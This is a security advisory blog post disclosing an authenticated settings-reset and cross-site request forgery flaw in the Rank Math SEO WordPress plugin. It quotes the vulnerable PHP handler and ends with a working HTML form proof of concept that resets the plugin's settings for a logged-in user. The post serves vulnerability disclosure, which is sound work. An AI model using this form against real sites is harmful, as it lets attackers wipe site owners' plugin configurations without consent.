20 Jun 2019

Authenticated Settings Reset Vulnerability in Rank Math SEO

With the latest version of the plugin Rank Math SEO, one of the changelog entries is:

Added some important security fixes

Another data source on WordPress plugin vulnerabilities claimed that fixed “XSS issues”:

They provided no evidence for that claim and looking at some of the changes made indicate either it doesn’t do that, due to escaping added being only being precautionary, or the changes made actually need to be done elsewhere as well to actually fully resolve the issue

When we started looking to see if there had in fact been a vulnerability that was fixed that we could confirm for customers of our service and detail for them, we started running in to probable security issues that were still in the new version. As an example of confirmed vulnerability, we found that anyone logged in to WordPress can reset the plugin’s settings and through cross-site request forgery (CSRF) an attacker could cause someone else logged in to WordPress to do the same.

We wouldn’t recommend using the plugin until the security of it is more thoroughly reviewed, because there look to be more issues.

Details

The plugin registers an admin_post action for resetting the settings, which allows anyone logged in to WordPress to access that:

91
$this->action( 'admin_post_' . $this->key, 'reset_options', 2 );

The function that causes to run, reset_options(), which is located in the file /includes/admin/class-options.php, doesn’t do any security checks:

200
201
202
203
204
205
206
207
208
209
210
211
public function reset_options() {
	$url = wp_get_referer();
	if ( ! $url ) {
		$url = admin_url();
	}
 
	if ( isset( $_POST['reset-cmb'] ) && Param::post( 'action' ) === $this->key ) {
		delete_option( $this->key );
		wp_safe_redirect( esc_url_raw( $url ), WP_Http::SEE_OTHER );
		exit;
	}
}

There should be a capabilities check and a check for a valid nonce to prevent CSRF.

What it does is check to see if the POST input “action” is set to “rank-math-options-general”, which it would have to be for that code to run anyway, and the POST input “reset-cmb” exists. If both of those are true the setting are reset.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will reset the plugin’s setting, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="rank-math-options-general">
<input type="submit" name="reset-cmb" value="Reset" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.